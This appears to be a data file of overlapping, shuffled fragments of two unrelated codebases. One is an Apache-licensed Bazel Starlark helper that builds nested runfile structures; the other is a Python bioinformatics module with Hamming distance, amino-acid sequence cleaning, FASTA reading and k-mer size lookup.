[]).append(runfile)", "2021 <NAME> # # Licensed under the Apache License, Version 2.0 (the \"License\");", "agreed to in writing, software # distributed under the License is distributed on", "runfiles_per_path = {} for runfile in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if", "value to open the first group. previous_segments = [] code = [] for", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the", "definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1),", "level == 0: return s indent = level * \" \" return \"\\n\".join([indent", "in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values", "paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos != -1: for pos in range(len(previous_segments)", "(the \"License\"); # you may not use this file except in compliance with", "l2[i]: return i if len(l1) == len(l2): return -1 else: return min_length def", "= [] # Sentinel value to open the first group. previous_segments = []", "min_length = min(len(l1), len(l2)) for i in range(min_length): if l1[i] != l2[i]: return", "the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path", "s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel", "# # Unless required by applicable law or agreed to in writing, software", "express or implied. # See the License for the specific language governing permissions", "Version 2.0 (the \"License\"); # you may not use this file except in", "# Unless required by applicable law or agreed to in writing, software #", "except in compliance with the License. # You may obtain a copy of", "by applicable law or agreed to in writing, software # distributed under the", "= [] code = [] for segments in paths: mismatch_pos = _mismatch(previous_segments, segments)", "- 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in", "segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values to close", "open the first group. previous_segments = [] code = [] for segments in", "mismatch_pos != -1: for pos in range(len(previous_segments) - 1, mismatch_pos - 1, -1):", "!= -1: for pos in range(len(previous_segments) - 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]),", "in range(len(previous_segments) - 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for", "[] code = [] for segments in paths: mismatch_pos = _mismatch(previous_segments, segments) if", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = [] for runfile in", "if len(l1) == len(l2): return -1 else: return min_length def _indent(s, level): if", "code = [] for segments in paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos", "either express or implied. # See the License for the specific language governing", "1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in range(mismatch_pos,", "[runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else []) segments = [escape(s) for s in", "software # distributed under the License is distributed on an \"AS IS\" BASIS,", "for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = [] for", "== len(l2): return -1 else: return min_length def _indent(s, level): if level ==", "# You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "may not use this file except in compliance with the License. # You", "License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in range(mismatch_pos, len(segments)):", "last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value to open the first", "Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to", "l2): min_length = min(len(l1), len(l2)) for i in range(min_length): if l1[i] != l2[i]:", "sorted(runfiles_per_path.keys()) # Sentinel values to close the last group. paths.append(tuple()) runfiles_per_path[tuple()] = []", "indent = level * \" \" return \"\\n\".join([indent + line for line in", "file except in compliance with the License. # You may obtain a copy", "for s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) #", "# Copyright 2021 <NAME> # # Licensed under the Apache License, Version 2.0", "= sorted(runfiles_per_path.keys()) # Sentinel values to close the last group. paths.append(tuple()) runfiles_per_path[tuple()] =", "= tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values to close the", "s indent = level * \" \" return \"\\n\".join([indent + line for line", "close the last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value to open", "len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile),", "runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments", "\"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path = {} for", "under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = [] for runfile in runfiles_per_path[segments]:", "0: return s indent = level * \" \" return \"\\n\".join([indent + line", "License for the specific language governing permissions and # limitations under the License.", "min(len(l1), len(l2)) for i in range(min_length): if l1[i] != l2[i]: return i if", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else []) segments =", "segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else []) segments = [escape(s) for", "runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values to close the last group.", "[] for segments in paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos != -1:", "pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions = [] for runfile", "return s indent = level * \" \" return \"\\n\".join([indent + line for", "# Sentinel values to close the last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] #", "the License. # You may obtain a copy of the License at #", "to in writing, software # distributed under the License is distributed on an", "group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value to open the first group.", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "the first group. previous_segments = [] code = [] for segments in paths:", "runfiles_per_path[tuple()] = [] # Sentinel value to open the first group. previous_segments =", "previous_segments = segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1), len(l2)) for", "if l1[i] != l2[i]: return i if len(l1) == len(l2): return -1 else:", "return min_length def _indent(s, level): if level == 0: return s indent =", "# distributed under the License is distributed on an \"AS IS\" BASIS, #", "* pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level * pos)) definitions =", "implied. # See the License for the specific language governing permissions and #", "segments) if mismatch_pos != -1: for pos in range(len(previous_segments) - 1, mismatch_pos -", "for i in range(min_length): if l1[i] != l2[i]: return i if len(l1) ==", "\"License\"); # you may not use this file except in compliance with the", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "first group. previous_segments = [] code = [] for segments in paths: mismatch_pos", "required by applicable law or agreed to in writing, software # distributed under", "# Sentinel value to open the first group. previous_segments = [] code =", "_mismatch(l1, l2): min_length = min(len(l1), len(l2)) for i in range(min_length): if l1[i] !=", "= _mismatch(previous_segments, segments) if mismatch_pos != -1: for pos in range(len(previous_segments) - 1,", "for runfile in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else [])", "in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return", "applicable law or agreed to in writing, software # distributed under the License", "code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1), len(l2))", "def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0): runfiles_per_path = {} for runfile", "len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments = segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length", "tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values to close the last", "= [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else []) segments = [escape(s) for s", "under the License. load(\":common.bzl\", \"escape\") def generate_nested_structure(runfile_structs, begin_group, end_group, emit, indent_per_level = 0):", "= 0): runfiles_per_path = {} for runfile in runfile_structs: segments = [runfile.repo] +", "= [escape(s) for s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths =", "segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys()) # Sentinel values to", "Sentinel value to open the first group. previous_segments = [] code = []", "- 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]),", "else: return min_length def _indent(s, level): if level == 0: return s indent", "segments in paths: mismatch_pos = _mismatch(previous_segments, segments) if mismatch_pos != -1: for pos", "or agreed to in writing, software # distributed under the License is distributed", "or implied. # See the License for the specific language governing permissions and", "runfile in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else []) segments", "[escape(s) for s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments, []).append(runfile) paths = sorted(runfiles_per_path.keys())", "len(l2): return -1 else: return min_length def _indent(s, level): if level == 0:", "distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT", "CONDITIONS OF ANY KIND, either express or implied. # See the License for", "in range(min_length): if l1[i] != l2[i]: return i if len(l1) == len(l2): return", "Apache License, Version 2.0 (the \"License\"); # you may not use this file", "0): runfiles_per_path = {} for runfile in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\")", "segments return \"\\n\".join(code) def _mismatch(l1, l2): min_length = min(len(l1), len(l2)) for i in", "len(l2)) for i in range(min_length): if l1[i] != l2[i]: return i if len(l1)", "OR CONDITIONS OF ANY KIND, either express or implied. # See the License", "may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "else []) segments = [escape(s) for s in segments] segments = tuple(segments) runfiles_per_path.setdefault(segments,", "1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos in range(mismatch_pos, len(segments)): code.append(_indent(begin_group(segments[pos]), indent_per_level", "with the License. # You may obtain a copy of the License at", "previous_segments = [] code = [] for segments in paths: mismatch_pos = _mismatch(previous_segments,", "level): if level == 0: return s indent = level * \" \"", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,", "{} for runfile in runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else", "paths = sorted(runfiles_per_path.keys()) # Sentinel values to close the last group. paths.append(tuple()) runfiles_per_path[tuple()]", "Copyright 2021 <NAME> # # Licensed under the Apache License, Version 2.0 (the", "in writing, software # distributed under the License is distributed on an \"AS", "runfile_structs: segments = [runfile.repo] + (runfile.pkg.split(\"/\") if runfile.pkg else []) segments = [escape(s)", "definitions = [] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions:", "specific language governing permissions and # limitations under the License. load(\":common.bzl\", \"escape\") def", "[] for runfile in runfiles_per_path[segments]: definitions.append(_indent(emit(runfile), indent_per_level * len(segments))) if definitions: code.append(\"\\n\\n\".join(definitions)) previous_segments", "under the Apache License, Version 2.0 (the \"License\"); # you may not use", "range(len(previous_segments) - 1, mismatch_pos - 1, -1): code.append(_indent(end_group(previous_segments[pos]), indent_per_level * pos)) for pos", "the last group. paths.append(tuple()) runfiles_per_path[tuple()] = [] # Sentinel value to open the" ]
[ "import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import Post # from workplace_extractor.Nodes.Group import Group", "workplace_extractor.Nodes.Node import Node # from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import", "workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import Post # from workplace_extractor.Nodes.Group import", "from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import Post # from workplace_extractor.Nodes.Group", "from workplace_extractor.Nodes.Node import Node # from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post", "# from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import Post # from", "# from workplace_extractor.Nodes.Node import Node # from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from", "<reponame>denisduarte/workplace_extractor # from workplace_extractor.Nodes.Node import Node # from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection #", "import Node # from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import Post", "Node # from workplace_extractor.Nodes.NodeCollection import NodeCollection, PostCollection # from workplace_extractor.Nodes.Post import Post #" ]
[ "aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function", "val def clean_input_sequences(input_seq): \"\"\" This method cleans all input sequences to ensure they", "a fasta file Parameters ---------- fasta file path: string OR Path Returns -------", "matplotlib.pyplot as plt def hamming_dist(k1, k2): val = 0 for ind, char in", "k2[ind]: val += 1 return val def clean_input_sequences(input_seq): \"\"\" This method cleans all", "in input_seq: if aa not in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\",", "\"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen", "if char != k2[ind]: val += 1 return val def clean_input_sequences(input_seq): \"\"\" This", "protein_seq = \"\" # renew sequence everytime fasta name is added. else: protein_seq", "k2): val = 0 for ind, char in enumerate(k1): if char != k2[ind]:", "\"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list)", "ind, char in enumerate(k1): if char != k2[ind]: val += 1 return val", "pkgs import matplotlib.pyplot as plt def hamming_dist(k1, k2): val = 0 for ind,", "they will be compatible with the precomputed hash table. \"\"\" seq_list = []", "else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]):", "facilitate basic operations. \"\"\" # std pkgs import numpy as np import random", "fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else None protein_seq = \"\" #", "file Parameters ---------- fasta file path: string OR Path Returns ------- proteins :", "+= 1 return val def clean_input_sequences(input_seq): \"\"\" This method cleans all input sequences", "everytime fasta name is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names", "amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\",", "is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) ->", "\"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:]", "as np import random from typing import Dict, List, Optional, Union from pathlib", "table. \"\"\" seq_list = [] for aa in input_seq: if aa not in", "the precomputed hash table. \"\"\" seq_list = [] for aa in input_seq: if", "= np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen = np.random.choice([\"L\",", "of protein names (ordered) \"\"\" proteins, protein_names = [], [] with open(fasta_file_path) as", "fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if", "clean_input_sequences(input_seq): \"\"\" This method cleans all input sequences to ensure they will be", "return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads a", "plt def hamming_dist(k1, k2): val = 0 for ind, char in enumerate(k1): if", "== \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa == \"Z\":", "the kmer size from the hash table. \"\"\" kmer_size = 0 with open(hash_table,", "fasta_file_array = fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name", "path: string OR Path Returns ------- proteins : array of protein sequence (ordered)", "renew sequence everytime fasta name is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return", "This module contains methods/objects that facilitate basic operations. \"\"\" # std pkgs import", "method cleans all input sequences to ensure they will be compatible with the", ": array of protein sequence (ordered) protein_names : array of protein names (ordered)", "!= k2[ind]: val += 1 return val def clean_input_sequences(input_seq): \"\"\" This method cleans", "def clean_input_sequences(input_seq): \"\"\" This method cleans all input sequences to ensure they will", "methods/objects that facilitate basic operations. \"\"\" # std pkgs import numpy as np", "if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0", "be compatible with the precomputed hash table. \"\"\" seq_list = [] for aa", "open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0]", "random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\",", "char in enumerate(k1): if char != k2[ind]: val += 1 return val def", "-> int: \"\"\" This function extracts the kmer size from the hash table.", "aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa ==", "not in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\",", "table. \"\"\" kmer_size = 0 with open(hash_table, \"rb\") as hash_tb: hash = pickle.load(hash_tb)", "\"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0]", "== \"*\": amino_chosen = \"G\" elif aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"],", "\"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str,", "aa not in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\",", "p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\",", "aa == \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\",", "pkgs import numpy as np import random from typing import Dict, List, Optional,", "import random from typing import Dict, List, Optional, Union from pathlib import Path", "\"V\"]: print(aa) if aa == \"*\": amino_chosen = \"G\" elif aa == \"B\":", "elif aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa", "from typing import Dict, List, Optional, Union from pathlib import Path import pickle", "added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) -> int:", "+= fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\" This function", "\"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa == \"*\": amino_chosen = \"G\" elif", "if aa == \"*\": amino_chosen = \"G\" elif aa == \"B\": amino_chosen =", "\"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\",", "\"\"\" kmer_size = 0 with open(hash_table, \"rb\") as hash_tb: hash = pickle.load(hash_tb) kmer_size", "fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"):", "= 0 with open(hash_table, \"rb\") as hash_tb: hash = pickle.load(hash_tb) kmer_size = len(list(hash.keys())[0])", "non-std pkgs import matplotlib.pyplot as plt def hamming_dist(k1, k2): val = 0 for", "for aa in input_seq: if aa not in [\"A\", \"R\", \"N\", \"D\", \"C\",", "\"\" # renew sequence everytime fasta name is added. else: protein_seq += fasta_line.strip(\"\\n\")", "(ordered) \"\"\" proteins, protein_names = [], [] with open(fasta_file_path) as fasta_file: fasta_file_array =", "import pickle # non-std pkgs import matplotlib.pyplot as plt def hamming_dist(k1, k2): val", "elif aa == \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\",", "pickle # non-std pkgs import matplotlib.pyplot as plt def hamming_dist(k1, k2): val =", "\"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen", "char != k2[ind]: val += 1 return val def clean_input_sequences(input_seq): \"\"\" This method", "get_kmer_size(hash_table) -> int: \"\"\" This function extracts the kmer size from the hash", "proteins : array of protein sequence (ordered) protein_names : array of protein names", "\"\"\" proteins, protein_names = [], [] with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines()", "cleans all input sequences to ensure they will be compatible with the precomputed", "val += 1 return val def clean_input_sequences(input_seq): \"\"\" This method cleans all input", "\"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa)", "= fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name =", "\"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa == \"*\": amino_chosen = \"G\"", "aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa ==", "the hash table. \"\"\" kmer_size = 0 with open(hash_table, \"rb\") as hash_tb: hash", "extracts the kmer size from the hash table. \"\"\" kmer_size = 0 with", "------- proteins : array of protein sequence (ordered) protein_names : array of protein", "\"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\",", "proteins.append(protein_seq) if line_count > 0 else None protein_seq = \"\" # renew sequence", "def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads a fasta file Parameters ----------", "from pathlib import Path import pickle # non-std pkgs import matplotlib.pyplot as plt", "else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\"", "\"\"\" This function extracts the kmer size from the hash table. \"\"\" kmer_size", "string OR Path Returns ------- proteins : array of protein sequence (ordered) protein_names", "val = 0 for ind, char in enumerate(k1): if char != k2[ind]: val", "input_seq: if aa not in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\",", "1, p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5,", "np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"],", "reads a fasta file Parameters ---------- fasta file path: string OR Path Returns", "protein sequence (ordered) protein_names : array of protein names (ordered) \"\"\" proteins, protein_names", "proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\" This function extracts the kmer size", "\"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa", "sequence everytime fasta name is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins,", "contains methods/objects that facilitate basic operations. \"\"\" # std pkgs import numpy as", "operations. \"\"\" # std pkgs import numpy as np import random from typing", "numpy as np import random from typing import Dict, List, Optional, Union from", "List, Optional, Union from pathlib import Path import pickle # non-std pkgs import", "\"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa == \"*\": amino_chosen =", "Path Returns ------- proteins : array of protein sequence (ordered) protein_names : array", "\"I\"], 1, p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\",", "(ordered) protein_names : array of protein names (ordered) \"\"\" proteins, protein_names = [],", "enumerate(k1): if char != k2[ind]: val += 1 return val def clean_input_sequences(input_seq): \"\"\"", "fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\" This function extracts", "\"G\" elif aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif", "will be compatible with the precomputed hash table. \"\"\" seq_list = [] for", "aa == \"*\": amino_chosen = \"G\" elif aa == \"B\": amino_chosen = np.random.choice([\"N\",", "== \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa == \"J\":", "0 for ind, char in enumerate(k1): if char != k2[ind]: val += 1", "\"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\",", "= 0 for ind, char in enumerate(k1): if char != k2[ind]: val +=", "fasta file Parameters ---------- fasta file path: string OR Path Returns ------- proteins", "that facilitate basic operations. \"\"\" # std pkgs import numpy as np import", "[] for aa in input_seq: if aa not in [\"A\", \"R\", \"N\", \"D\",", "= fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else None protein_seq = \"\"", "for ind, char in enumerate(k1): if char != k2[ind]: val += 1 return", "hash table. \"\"\" seq_list = [] for aa in input_seq: if aa not", "random from typing import Dict, List, Optional, Union from pathlib import Path import", "file path: string OR Path Returns ------- proteins : array of protein sequence", "in enumerate(k1): if char != k2[ind]: val += 1 return val def clean_input_sequences(input_seq):", "seq_list = [] for aa in input_seq: if aa not in [\"A\", \"R\",", "Parameters ---------- fasta file path: string OR Path Returns ------- proteins : array", "= aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This", "sequence (ordered) protein_names : array of protein names (ordered) \"\"\" proteins, protein_names =", "(fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else", "elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa", "OR Path Returns ------- proteins : array of protein sequence (ordered) protein_names :", "array of protein names (ordered) \"\"\" proteins, protein_names = [], [] with open(fasta_file_path)", "Union from pathlib import Path import pickle # non-std pkgs import matplotlib.pyplot as", "Dict, List, Optional, Union from pathlib import Path import pickle # non-std pkgs", "precomputed hash table. \"\"\" seq_list = [] for aa in input_seq: if aa", "= \"G\" elif aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0]", "to ensure they will be compatible with the precomputed hash table. \"\"\" seq_list", "proteins, protein_names = [], [] with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for", "0 with open(hash_table, \"rb\") as hash_tb: hash = pickle.load(hash_tb) kmer_size = len(list(hash.keys())[0]) return", "def hamming_dist(k1, k2): val = 0 for ind, char in enumerate(k1): if char", "np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen = random.choice([\"A\", \"R\",", "name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else None protein_seq =", "protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\" This", "\"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen)", "input sequences to ensure they will be compatible with the precomputed hash table.", "\"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return", "\"*\": amino_chosen = \"G\" elif aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1,", "---------- fasta file path: string OR Path Returns ------- proteins : array of", "protein_names : array of protein names (ordered) \"\"\" proteins, protein_names = [], []", "typing import Dict, List, Optional, Union from pathlib import Path import pickle #", "array of protein sequence (ordered) protein_names : array of protein names (ordered) \"\"\"", "[] with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array):", "Path import pickle # non-std pkgs import matplotlib.pyplot as plt def hamming_dist(k1, k2):", "\"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if", "\"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen", "= [] for aa in input_seq: if aa not in [\"A\", \"R\", \"N\",", "function extracts the kmer size from the hash table. \"\"\" kmer_size = 0", "Union[str, Path]): \"\"\" This function reads a fasta file Parameters ---------- fasta file", "protein_names def get_kmer_size(hash_table) -> int: \"\"\" This function extracts the kmer size from", "def get_kmer_size(hash_table) -> int: \"\"\" This function extracts the 